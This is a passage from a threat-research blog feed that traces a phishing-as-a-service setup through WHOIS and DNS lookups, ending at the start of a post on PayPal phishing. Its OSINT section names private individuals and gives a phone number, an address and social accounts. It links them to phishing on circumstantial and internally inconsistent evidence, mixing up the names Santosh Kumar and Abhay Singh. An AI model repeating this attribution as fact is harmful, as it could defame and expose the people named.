DNSSEC: unsigned</code></pre><p>The WHOIS data confirms the domain is registered to an individual named Santosh Kumar in Jharkhand, India, and explicitly links him to an email address containing &#8220;CEEONLINESMS,&#8221; which we&#8217;ll look at in more detail in a later section.</p><div><hr></div><h3><strong>All DNS Records</strong></h3><p>Next, we queried the Domain Name System (DNS) records to identify the main servers hosting the domain and the external services authorized to send email on its behalf.</p><pre><code>for type in A NS MX TXT SOA; do dig eduhealthconnect.com $type +short; done
162.19.61.190
ns2.hosting4webs.com.
ns1.hosting4webs.com.
0 eduhealthconnect.com.
&#8220;v=spf1 ip4:162.19.61.190 ip4:51.210.113.204 +a +mx +ip4:173.208.234.202 ~all&#8221;
ns1.hosting4webs.com. a.s.l. 2025120400 3600 7200 1209600 86400</code></pre><p>The DNS records show the main server is hosted by OVH SAS in France, while the SPF records authorize two additional, high-volume mail relays: one also on OVH and another on WholeSale Internet in the US.</p><div><hr></div><h3><strong>Whois - Primary Domain Email Servers</strong></h3><p>To understand the nature of the network infrastructure, we must perform WHOIS checks on the IP addresses identified in the DNS records.</p><pre><code>whois -h whois.ripe.net 51.210.113.204
inetnum:        51.210.113.0 - 51.210.113.255
netname:        rbx8-sdagg1a-n93-2-2
country:        FR
org:            ORG-OS3-RIPE
geoloc:         50.693434 3.199826
admin-c:        OTC2-RIPE
tech-c:         OTC2-RIPE
status:         LEGACY
mnt-by:         OVH-MNT
created:        2020-05-25T12:32:57Z
last-modified:  2020-05-25T12:32:57Z
source:         RIPE

organisation:   ORG-OS3-RIPE
org-name:       OVH SAS
country:        FR
org-type:       LIR
address:        2 rue Kellermann
address:        59100
address:        Roubaix
address:        FRANCE
phone:          +33972101007
admin-c:        OTC2-RIPE
admin-c:        OK217-RIPE
admin-c:        TLB55-RIPE
abuse-c:        AR15333-RIPE
mnt-ref:        OVH-MNT
mnt-ref:        RIPE-NCC-HM-MNT
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         OVH-MNT
created:        2004-04-17T11:23:17Z
last-modified:  2025-09-17T09:23:15Z
source:         RIPE # Filtered

role:           OVH Technical Contact
address:        OVH SAS
address:        2 rue Kellermann
address:        59100 Roubaix
address:        France
admin-c:        OK217-RIPE
tech-c:         GM84-RIPE
tech-c:         SL10162-RIPE
nic-hdl:        OTC2-RIPE
abuse-mailbox:  abuse@ovh.net
mnt-by:         OVH-MNT
created:        2004-01-28T17:42:29Z
last-modified:  2014-09-05T10:47:15Z
source:         RIPE # Filtered

% Information related to &#8216;51.210.0.0/16AS16276&#8217;

route:          51.210.0.0/16
origin:         AS16276
mnt-by:         OVH-MNT
created:        2020-04-09T10:18:04Z
last-modified:  2020-04-09T10:18:04Z
source:         RIPE</code></pre><pre><code>whois -h whois.arin.net 173.208.234.202
NetRange:       173.208.128.0 - 173.208.255.255
CIDR:           173.208.128.0/17
NetName:        WII-NET-173-208
NetHandle:      NET-173-208-128-0-1
Parent:         NET173 (NET-173-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       
Organization:   WholeSale Internet, Inc. (WHOLE-125)
RegDate:        2009-12-17
Updated:        2018-04-10
Comment:        http://www.wholesaleinternet.net
Ref:            https://rdap.arin.net/registry/ip/173.208.128.0


OrgName:        WholeSale Internet, Inc.
OrgId:          WHOLE-125
Address:        201 East 16th Ave
City:           North Kansas City
StateProv:      MO
PostalCode:     64116
Country:        US
RegDate:        2003-09-24
Updated:        2023-10-27
Comment:        http://www.wholesaleinternet.net
Ref:            https://rdap.arin.net/registry/entity/WHOLE-125


OrgAbuseHandle: NETWO1111-ARIN
OrgAbuseName:   Network Security
OrgAbusePhone:  +1-816-256-3031 
OrgAbuseEmail:  abuse@nocix.net
OrgAbuseRef:    https://rdap.arin.net/registry/entity/NETWO1111-ARIN

OrgTechHandle: AWE13-ARIN
OrgTechName:   Wendel, Aaron 
OrgTechPhone:  +1-816-256-3031 
OrgTechEmail:  aaron@nocix.net
OrgTechRef:    https://rdap.arin.net/registry/entity/AWE13-ARIN

OrgTechHandle: KRH22-ARIN
OrgTechName:   HODLE, Kevin Robert
OrgTechPhone:  +1-816-506-2605 
OrgTechEmail:  kevin@wholesaleinternet.net
OrgTechRef:    https://rdap.arin.net/registry/entity/KRH22-ARIN

OrgTechHandle: KAISE102-ARIN
OrgTechName:   kaiser, rebecca 
OrgTechPhone:  +1-816-256-3031 
OrgTechEmail:  rebecca@nocix.net
OrgTechRef:    https://rdap.arin.net/registry/entity/KAISE102-ARIN

OrgTechHandle: REGIO-ARIN
OrgTechName:   Region, Bob 
OrgTechPhone:  +1-816-256-3031 
OrgTechEmail:  bob@wholesaleinternet.net
OrgTechRef:    https://rdap.arin.net/registry/entity/REGIO-ARIN

RNOCHandle: NETWO1112-ARIN
RNOCName:   Network Operations
RNOCPhone:  +1-816-256-3031 
RNOCEmail:  admin@wholesaleinternet.net
RNOCRef:    https://rdap.arin.net/registry/entity/NETWO1112-ARIN

RTechHandle: NETWO1112-ARIN
RTechName:   Network Operations
RTechPhone:  +1-816-256-3031 
RTechEmail:  admin@wholesaleinternet.net
RTechRef:    https://rdap.arin.net/registry/entity/NETWO1112-ARIN

RAbuseHandle: NETWO1111-ARIN
RAbuseName:   Network Security
RAbusePhone:  +1-816-256-3031 
RAbuseEmail:  abuse@nocix.net
RAbuseRef:    https://rdap.arin.net/registry/entity/NETWO1111-ARIN</code></pre><div><hr></div><h3><strong>Whois - Primary Server URL</strong></h3><pre><code>whois -h whois.ripe.net 162.19.61.190

inetnum:        162.19.61.0 - 162.19.61.255
netname:        SD-RBX8-SDAGG-37A-B-1-2
country:        FR
org:            ORG-OS3-RIPE
geoloc:         50.693434 3.199826
admin-c:        OTC2-RIPE
tech-c:         OTC2-RIPE
status:         LEGACY
mnt-by:         OVH-MNT
created:        2022-05-03T12:21:49Z
last-modified:  2022-05-03T12:21:49Z
source:         RIPE

organisation:   ORG-OS3-RIPE
org-name:       OVH SAS
country:        FR
org-type:       LIR
address:        2 rue Kellermann
address:        59100
address:        Roubaix
address:        FRANCE
phone:          +33972101007
admin-c:        OTC2-RIPE
admin-c:        OK217-RIPE
admin-c:        TLB55-RIPE
abuse-c:        AR15333-RIPE
mnt-ref:        OVH-MNT
mnt-ref:        RIPE-NCC-HM-MNT
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         OVH-MNT
created:        2004-04-17T11:23:17Z
last-modified:  2025-09-17T09:23:15Z
source:         RIPE # Filtered

role:           OVH Technical Contact
address:        OVH SAS
address:        2 rue Kellermann
address:        59100 Roubaix
address:        France
admin-c:        OK217-RIPE
tech-c:         GM84-RIPE
tech-c:         SL10162-RIPE
nic-hdl:        OTC2-RIPE
abuse-mailbox:  abuse@ovh.net
mnt-by:         OVH-MNT
created:        2004-01-28T17:42:29Z
last-modified:  2014-09-05T10:47:15Z
source:         RIPE # Filtered

% Information related to &#8216;162.19.0.0/17AS16276&#8217;

route:          162.19.0.0/17
origin:         AS16276
mnt-by:         OVH-MNT
created:        2022-01-20T09:36:09Z
last-modified:  2022-01-20T09:36:09Z
source:         RIPE</code></pre><p>The IP checks confirms the main server (<code>162.19.61.190</code>) is allocated to OVH SAS in France, and the two authorized email relay IPs are allocated to OVH SAS and WholeSale Internet, Inc. in North Kansas City, Missouri, showing the operator has deliberately set up a network of geographically diverse, high-volume hosting providers to facilitate their activity.</p><div><hr></div><h3><strong>Dig - Phishing Subdomain</strong></h3><p>We now isolate the specific subdomain that hosted the malicious content to determine if the attacker segregated their infrastructure for the core attack component.</p><pre><code>dig ssologon.eduhealthconnect.com A +short
172.245.112.206</code></pre><p>The ssologon subdomain reveals a different IP address (172.245.112.206), confirming that the malicious page is hosted on a separate machine from the primary domain, a tactic used to protect the root domain from takedown.</p><h3>Whois - Phishing Subdomain IP</h3><p>Our final step for this domain is to run a WHOIS check on the new IP address to identify the hosting provider for the malicious component.</p><pre><code>whois -h whois.arin.net 172.245.112.206
NetRange:       172.245.0.0 - 172.245.255.255
CIDR:           172.245.0.0/16
NetName:        CC-14
NetHandle:      NET-172-245-0-0-1
Parent:         NET172 (NET-172-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       
Organization:   HostPapa (HOSTP-7)
RegDate:        2013-04-22
Updated:        2024-02-02
Comment:        Geofeed https://geofeeds.oniaas.io/geofeeds.csv
Ref:            https://rdap.arin.net/registry/ip/172.245.0.0



OrgName:        HostPapa
OrgId:          HOSTP-7
Address:        325 Delaware Avenue
Address:        Suite 300
City:           Buffalo
StateProv:      NY
PostalCode:     14202
Country:        US
RegDate:        2016-06-06
Updated:        2025-10-05
Ref:            https://rdap.arin.net/registry/entity/HOSTP-7


OrgAbuseHandle: NETAB23-ARIN
OrgAbuseName:   NETABUSE
OrgAbusePhone:  +1-905-315-3455 
OrgAbuseEmail:  net-abuse-global@hostpapa.com
OrgAbuseRef:    https://rdap.arin.net/registry/entity/NETAB23-ARIN

OrgTechHandle: NETTE9-ARIN
OrgTechName:   NETTECH
OrgTechPhone:  +1-905-315-3455 
OrgTechEmail:  net-tech-global@hostpapa.com
OrgTechRef:    https://rdap.arin.net/registry/entity/NETTE9-ARIN

RAbuseHandle: NETAB27-ARIN
RAbuseName:   NETABUSE-COLOCROSSING
RAbusePhone:  +1-800-518-9716 
RAbuseEmail:  abuse@colocrossing.com
RAbuseRef:    https://rdap.arin.net/registry/entity/NETAB27-ARIN

RTechHandle: NETTE11-ARIN
RTechName:   NETTECH-COLOCROSSING
RTechPhone:  +1-800-518-9716 
RTechEmail:  support@colocrossing.com
RTechRef:    https://rdap.arin.net/registry/entity/NETTE11-ARIN</code></pre><p>The IP check shows the phishing subdomain is hosted by HostPapa via the Colocrossing backbone in Buffalo, New York, confirming the Affiliate utilizes a third-party hosting company known for high-volume, abuse-tolerant services to host the critical attack page.</p><div><hr></div><h3><strong>OSINT Report: CeeOnlineSMS</strong></h3><p>The WHOIS report for the first phishing page, which was received in the phishing email containts the informatin of the following individual:</p><ul><li><p><strong>Name:</strong> Abhay Singh</p></li><li><p><strong>Identified via:</strong> Instagram and WordPress blog posts (signed as <em>abhayceeonline</em>).</p></li><li><p><strong>Confirmed Association:</strong> The Instagram profile is <strong>@ceeonlinesms</strong>.</p></li></ul><h4><strong>1. Factual Identity Convergence</strong></h4><p>The registrant email address, CEEONLINESMS@GMAIL.COM, is directly tied to the individual Abhay Singh through multiple sources:</p><ul><li><p><strong>Shared Naming Convention:</strong> The individual&#8217;s name, Abhay Singh, is featured in the Instagram handle (<code>@ceeonlinesms</code>) and the WordPress blog posts (<code>Posted by abhayceeonline</code>).</p></li><li><p><strong>Business Registration:</strong> The same &#8216;CEEONLINE&#8217; branding is used for the Facebook page, CEEONLINE ENTERPRISES, which provides a physical address, phone number, and linked domains, forming a cohesive business profile.</p></li><li><p><strong>Cross-Platform Consistency:</strong> The primary username/handle, <strong>ceeonline</strong>, is consistently used across Bitcointalk, Discord, and Telegram, reinforcing the identity of the person behind the enterprise.</p></li></ul><h4><strong>2. High-Risk Service Offerings</strong></h4><p>The core services advertised by CEEONLINE ENTERPRISES facilitate key components required for large-scale malicious campaigns, including phishing:</p><ul><li><p><strong>Bulk SMS Messaging:</strong> The enterprise&#8217;s primary business, as documented on the WordPress blog, is the sale of high-volume Promotional and Transactional Bulk SMS Packages. This service is essential for any SMS phishing (smishing) operation targeting a large number of victims.</p></li><li><p><strong>Associated Domains:</strong> The linked domains, ceeonlinehost.com and ceeonlinesms.in, suggest the offering of both SMS services and web hosting services. Web hosting can be utilized to host the deceptive landing pages or phishing kit files needed to harvest victim credentials.</p></li><li><p><strong>Phishing Prerequisites:</strong> Bulk messaging and web hosting are the two fundamental infrastructural requirements for executing a phishing scheme, establishing a strong potential for involvement.</p></li></ul><h4>3. Interest in Online Schemes</h4><p>Activity on the Bitcointalk forum, where the individual uses the username ceeonline, shows engagement with a cryptocurrency bounty/lottery scheme. </p><p>This demonstrates an interest in online money-making or speculative digital asset ventures, aligning with the motive for engaging in or facilitating financially-motivated schemes, such as phishing.</p><p>Cryptocurrency, while having legitimate uses, is commonly used to purchase illicit services online (such as Phishing-as-a-Service access) and serves as a de facto currency in the underground hacking and cybercrime economy. </p><p>This fact is not conclusive on its own, but when coupled with the other findings like the sale of high-risk services like Bulk SMS, it becomes a strong indicator of the actor&#8217;s comfort and involvement in the necessary financial ecosystem for cybercrime.</p><p>In summary, the registered contact for EDUHEALTHCONNECT.COM is strongly associated with an online identity, Abhay Singh / CEEONLINE, who operates a business that sells the key infrastructure (Bulk SMS) for phishing campaigns and has displayed an interest in online financial schemes (cryptocurrency bounty). </p><p>This individual and the enterprise are a strong link to the underlying activity related to the domain registration.</p><div><hr></div><h4><strong>Business Entity and Contact Information</strong></h4><p>The services are operated under the name <strong>CEEONLINE ENTERPRISES</strong>.</p><ul><li><p><strong>Physical Address:</strong> Vardhaman Tower, Lalpur, Ranchi, India, Jharkhand</p></li><li><p><strong>Phone Number:</strong> +91 99733 80119</p></li><li><p><strong>Associated Domains:</strong></p><ul><li><p>ceeonlinehost.com</p></li><li><p>ceeonlinesms.in</p></li></ul></li></ul><h4><strong>Digital Footprint and Linked Accounts</strong></h4><p>The entity and/or the individual is active across multiple online platforms, often using the handle <strong>ceeonline</strong> or <strong>ceeonlinesms</strong>.</p><pre><code># List of Associated Accounts:

Platform: Bitcointalk
Username / Handle: ceeonline
Profile Link: https://bitcointalk.org/index.php?action=profile;u=1774646

Platform: Twitter
Username / Handle: @airdrop1670
Profile Link: https://twitter.com/airdrop1670

Platform: Discord
Username / Handle: ceeonline

Platform: Telegram
Username / Handle: @ceeonlinesms

Platform: Facebook
Page Name: CEEONLINE ENTERPRISES
Profile Link: https://www.facebook.com/p/CEEONLINE-ENTERPRISES-100070322778717/

Platform: Instagram
Username / Handle: @ceeonlinesms

Platform: Wordpress Blog (Posted by Abhay Singh)
Author Handle: abhayceeonline
Blog Link: https://ceeonlinesms.wordpress.com/2013/10/02/cheapest-bulk-sms-service-provider-all-over-india/</code></pre><p>The open-source intelligence (OSINT) gathered establishes a strong, multi-layered link between the individual registrant of the domain and a persistent online enterprise that offers services directly applicable to phishing campaigns.</p><h4>Key Findings (Affiliate):</h4><p>The forensic evidence establishes a strong association between the initial phishing page and a known online identity, Santosh Kumar / CEEONLINE. </p><p>This identity is linked to a business that provides the Bulk SMS infrastructure required for mass-scale phishing. This actor operates using a geographically diverse, high-volume hosting infrastructure (OVH and WholeSale Internet) that is highly consistent with environments optimized for spam and malicious traffic. </p><p>This entity is considered the Affiliate responsible for generating traffic and providing the initial lure.</p><div><hr></div><h2>Domain #2 (Phishing as a Service)</h2><p>We now turn our attention to the second malicious domain, <code>clctz.org</code>, which hosts the core Phishing-as-a-Service (PaaS) kit. This domain exhibits all the hallmarks of a professional, anonymity-focused cybercrime operation.</p><pre><code><code>clctz.org
ssologon.clctz.org
logonacc.ssologon.clctz.org</code></code></pre><h3><strong>1. WHOIS Search: Primary Domain</strong></h3><p>Our initial WHOIS search on the core platform domain is the first step in establishing the operational security posture of the provider.</p><pre><code>whois -h whois.namesilo.com clctz.org 

Domain Name: clctz.org
Registrar: NameSilo, LLC
Registrar URL: https://www.namesilo.com/
Updated Date: 2025-09-29T07:00:00Z
Creation Date: 2025-04-04T07:00:00Z
Registrar Registration Expiration Date: 2026-04-04T07:00:00Z
Domain Status: client transfer prohibited
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Registrant Organization: See PrivacyGuardian.org
Registrant Email: pwp-156c9d510b826f6e44c12dfc9082d544@privacyguardian.org
Name Server: CS11.HPCNOC.COM
Name Server: CS12.HPCNOC.COM
DNSSEC: unsigned</code></pre><p>The WHOIS data confirms the domain is registered with NameSilo and uses the PrivacyGuardian.org service to fully conceal the operator&#8217;s identity, establishing the high priority this actor places on anonymity and evasion from the start.</p><div><hr></div><h3><strong>2. DNS Records: All Records for Domain</strong></h3><p>Next, we execute a query for all DNS records to identify the main host, the control points, and any external email services authorized by the provider.</p><pre><code>for type in A NS MX TXT SOA; do dig clctz.org $type +short; done

178.162.234.23
cs12.hpcnoc.com.
cs11.hpcnoc.com.

0 clctz.org.

&#8220;v=spf1 ip4:178.162.234.23 include:relay.mailbaby.net +a +mx +ip4:213.136.76.15 ~all&#8221;

cs11.hpcnoc.com. root.rcnoc.com. 2025120500 3600 1800 1209600 86400</code></pre><p>The DNS records show the primary server address is <code>178.162.234.23</code>, and the SPF record authorizes an external service called Mailbaby.net (specifically via IP <code>213.136.76.15</code>), confirming the operator relies on a dedicated third-party bulk email relay to ensure high deliverability.</p><div><hr></div><h3>3. Reverse DNS Search: Authorized Mail Server IP</h3><p>To identify the provider responsible for the external bulk mail relay, we perform a reverse DNS lookup on the newly discovered IP address (213.136.76.15) authorized in the SPF record.</p><pre><code>dig -x 213.136.76.15

; &lt;&lt;&gt;&gt; DiG 9.10.6 &lt;&lt;&gt;&gt; -x 213.136.76.15
;; global options: +cmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 17361
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;15.76.136.213.in-addr.arpa.&#9;IN&#9;PTR

;; ANSWER SECTION:
15.76.136.213.in-addr.arpa. 86024 IN&#9;PTR&#9;m30015.contaboserver.net.

;; Query time: 95 msec
;; SERVER: 10.2.0.1#53(10.2.0.1)
;; WHEN: Sat Dec 06 19:25:23 PST 2025
;; MSG SIZE  rcvd: 93</code></pre><p>The reverse lookup reveals the mail server&#8217;s domain is <code>m30015.contaboserver.net</code>, strongly suggesting the server is hosted by Contabo GmbH, a German web hosting and cloud provider.</p><div><hr></div><h3><strong>4. WHOIS Search: Primary Server IP</strong></h3><p>We now execute a WHOIS check on the primary host IP (<code>178.162.234.23</code>) to identify the network owner and the specific abuse contact required to suspend the root domain&#8217;s hosted content.</p><pre><code>whois -h whois.ripe.net 178.162.234.23
inetnum:        178.162.234.0 - 178.162.235.255
netname:        Leaseweb
descr:          Leaseweb Deutschland GmbH
remarks:        Please send all abuse notifications to the following email address: abuse@de.leaseweb.com. To ensure proper processing of your abuse notification, please visit the website www.leaseweb.com/abuse for notification requirements. All police and other government agency requests must be sent to subpoenas@de.leaseweb.com.
country:        DE
admin-c:        LSWG-RIPE
tech-c:         LSWG-RIPE
status:         ASSIGNED PA
mnt-by:         LEASEWEB-DE-MNT
mnt-lower:      LEASEWEB-DE-MNT
mnt-routes:     LEASEWEB-DE-MNT
created:        2012-09-04T10:27:36Z
last-modified:  2015-10-01T15:04:44Z
source:         RIPE

person:         RIPE Mann
address:        Kleyerstrasse 75-87
address:        60326 Frankfurt am Main
address:        Germany
phone:          +49 69 2475 2860
fax-no:         +49 69 2475 2861
nic-hdl:        LSWG-RIPE
mnt-by:         LEASEWEB-DE-MNT
created:        2012-03-23T15:55:41Z
last-modified:  2025-07-17T12:58:23Z
source:         RIPE # Filtered

% Information related to &#8216;178.162.192.0/18AS28753&#8217;

route:          178.162.192.0/18
origin:         AS28753
mnt-by:         LEASEWEB-DE-MNT
created:        2016-11-14T07:54:33Z
last-modified:  2016-11-14T07:54:33Z
source:         RIPE</code></pre><p>The IP check confirms the primary website is hosted by Leaseweb Deutschland GmbH in Frankfurt, Germany, which provides the official abuse contact necessary for reporting the root domain&#8217;s activity.</p><div><hr></div><h3><strong>5. Dig Search: Phishing Subdomains</strong></h3><p>Our next step is to examine the specific subdomains that serve the malicious code to see if they are segregated from the primary website.</p><pre><code>dig ssologon.clctz.org A +short
dig logonacc.ssologon.clctz.org A +short
144.172.108.175
144.172.108.175</code></pre><p>The DNS queries show that both malicious subdomains point to a single, dedicated IP address (<code>144.172.108.175</code>), confirming the highly specialized core phishing kit is isolated from the main Leaseweb server.</p><h3>6. Reverse DNS Search: Phishing Subdomain IP</h3><p>To identify the hosting company for this specialized phishing kit, we run a reverse DNS lookup on the newly discovered subdomain IP (<code>144.172.108.175</code>).</p><pre><code>dig -x 144.172.108.175

; &lt;&lt;&gt;&gt; DiG 9.10.6 &lt;&lt;&gt;&gt; -x 144.172.108.175
;; global options: +cmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 22003
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;175.108.172.144.in-addr.arpa.&#9;IN&#9;PTR

;; ANSWER SECTION:
175.108.172.144.in-addr.arpa. 120 IN&#9;PTR&#9;175.108.172.144.static.cloudzy.com.</code></pre><p>The reverse lookup reveals the domain is <code>175.108.172.144.static.cloudzy.com</code>, indicating the PaaS kit is hosted on a service often linked to &#8220;bulletproof&#8221; hosting environments.</p><div><hr></div><h3><strong>7. WHOIS Search: Phishing Subdomain IP</strong></h3><p>Finally, we execute a WHOIS check on the IP to identify the network owner responsible for the specialized hosting of the core phishing kit.</p><pre><code>whois -h whois.arin.net 144.172.108.175

NetRange:       144.172.64.0 - 144.172.127.255
CIDR:           144.172.64.0/18
NetName:        PONYNET-12
NetHandle:      NET-144-172-64-0-1
Parent:         NET144 (NET-144-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       
Organization:   FranTech Solutions (SYNDI-5)
RegDate:        2014-05-07
Updated:        2014-05-07
Ref:            https://rdap.arin.net/registry/ip/144.172.64.0


OrgName:        FranTech Solutions
OrgId:          SYNDI-5
Address:        1621 Central Ave
City:           Cheyenne
StateProv:      WY
PostalCode:     82001
Country:        US
RegDate:        2010-07-21
Updated:        2024-11-25
Ref:            https://rdap.arin.net/registry/entity/SYNDI-5


OrgAbuseHandle: FDI19-ARIN
OrgAbuseName:   Dias, Francisco 
OrgAbusePhone:  +1-702-728-8933 
OrgAbuseEmail:  admin@frantech.ca
OrgAbuseRef:    https://rdap.arin.net/registry/entity/FDI19-ARIN

OrgTechHandle: FDI19-ARIN
OrgTechName:   Dias, Francisco 
OrgTechPhone:  +1-702-728-8933 
OrgTechEmail:  admin@frantech.ca
OrgTechRef:    https://rdap.arin.net/registry/entity/FDI19-ARIN</code></pre><p>The IP check shows the infrastructure is ultimately allocated to FranTech Solutions in Cheyenne, Wyoming, confirming the PaaS Provider relies on an abuse-tolerant, US-based hosting provider for their most critical asset.</p><h3>Key Findings (PaaS Provider):</h3><p>The forensic evidence indicates that the PaaS Provider operates with a singular focus on anonymity and resilience. Their registration practices, utilizing privacy services (PrivacyGuardian.org) and anonymity-friendly registrars (NameSilo), are highly suggestive of a professional operational security posture. </p><p>Their infrastructure appears highly specialized, relying on global hosting (Leaseweb, Contabo) for redundancy. They host their core, sophisticated phishing kit on networks (FranTech Solutions/Cloudzy) which are known for being abuse-tolerant. </p><p>This separation of function and infrastructure strongly suggests the existence of the PaaS Provider who sells access to their technical platform.</p><div><hr></div><h2>Evidence for Phishing-as-a-Service</h2><p>The extensive technical differences in the DNS, WHOIS, and infrastructure confirm that the two domains, eduhealthconnect.com and clctz.org, are not operated by the same people. </p><p>The evidence points to a classic Phishing-as-a-Service (PaaS) relationship, where one entity is the Affiliate (customer) and the other is the PaaS Provider (operator). Here is a full breakdown of the evidence supporting the Affiliate/PaaS model.</p><h3>1. Identity and Registration Discrepancies</h3><p>The WHOIS records for the two domains reveal completely contradictory registration strategies, serving as the strongest initial proof of separate ownership:</p><ul><li><p><strong>Affiliate (</strong><code>eduhealthconnect.com</code><strong>):</strong> This domain is explicitly registered to an identifiable individual, Santosh Kumar/Abhay Singh, and the entity CEEONLINE ENTERPRISES. The contact information is directly linked to a business specializing in Bulk communications (SMS and email), which is the service used to launch high-volume phishing attacks. This actor provides the traffic and lure.</p></li><li><p><strong>PaaS Provider (</strong><code>clctz.org</code><strong>):</strong> This domain is fully privacy protected, using a proxy service (PrivacyGuardian.org) and the anonymity-focused registrar NameSilo. This focus on concealment is a trademark of professional malicious service providers who must shield their core product from exposure and takedown.</p></li></ul><h3>2. Distinct Infrastructure Footprints</h3><p>All underlying network components are different for the two domains. If the same group operated both, they would almost certainly reuse some of their infrastructure.</p><ul><li><p><strong>Hosting Providers are Different:</strong> The primary host for the Affiliate domain is OVH SAS (France), while the PaaS Provider domain uses Leaseweb (Germany). Crucially, the final phishing page for the Affiliate is hosted by HostPapa (US), while the PaaS Provider&#8217;s core kit is hosted on FranTech Solutions/Cloudzy (US). These are separate networks, chosen independently.</p></li><li><p><strong>Email Services are Different:</strong> The SPF records authorize completely separate email services and IP addresses for bulk sending (OVH/WholeSale Internet for the Affiliate versus Mailbaby.net/Contabo GmbH for the Provider).</p></li><li><p><strong>Name Servers are Different:</strong> The domains rely on distinct network operators for DNS resolution (HOSTING4WEBS.COM versus HPCNOC.COM).</p></li></ul><h3>3. Phishing Methodology and Shared Tool</h3><p>The technical similarities, such as the <code>ssologon</code> subdomain structure, actually cement the PaaS relationship by identifying a common tool:</p><ul><li><p><strong>PaaS Kit Signature:</strong> The use of the identical and standardized subdomain, <code>ssologon.domain.com</code>, across both domains is the signature of the Phishing-as-a-Service kit itself. This shows the Affiliate is using a tool that forces a specific, pre-built redirection and tracking structure dictated by the operator.</p></li><li><p><strong>Code Sophistication Divergence:</strong> The final landing page code on the Provider&#8217;s domain (<code>clctz.org</code>) is a massive, highly sophisticated script featuring WebAssembly (WASM), advanced browser fingerprinting, and multiple layers of anti-analysis defenses. This extreme complexity requires the kind of specialization found in a PaaS Operator, who develops the powerful weapon, while the Affiliate focuses on the simple task of generating traffic.</p></li></ul><p>The overall evidence indicates that the registered individual (<code>eduhealthconnect.com</code>) is a customer/Affiliate who specializes in traffic generation and is paying to use the advanced, anonymous PaaS Platform provided by the operator of <code>clctz.org</code>.</p><div><hr></div><h2>Have you received a phishing email?</h2><p>Send me a message! I am looking for more samples. </p><p><em>Thanks for reading.</em></p>]]></content:encoded></item><item><title><![CDATA[Google Workspace Abuse Leads to Highly Convincing PayPal Phishing Attack]]></title><description><![CDATA[Imagine this: You open your email in the morning to check what came in overnight. You see an email from PayPal with the subject &#8220;Recurring Payment Reactivated."]]></description><link>https://darkmarc.substack.com/p/google-workspace-abuse-leads-to-highly</link><guid isPermaLink="false">https://darkmarc.substack.com/p/google-workspace-abuse-leads-to-highly</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Thu, 27 Nov 2025 02:21:56 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/2ae13aab-2067-454c-b8f6-5e7534aaa28d_1456x1048.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Imagine this:</strong> You open your email in the morning to check what came in overnight. You see an email from PayPal with the subject <strong>&#8220;Recurring Payment Reactivated.&#8221;</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!oGqK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!oGqK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png 424w, https://substackcdn.com/image/fetch/$s_!oGqK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png 848w, https://substackcdn.com/image/fetch/$s_!oGqK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png 1272w, https://substackcdn.com/image/fetch/$s_!oGqK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!oGqK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png" width="1456" height="93" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:93,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:57902,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180057092?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 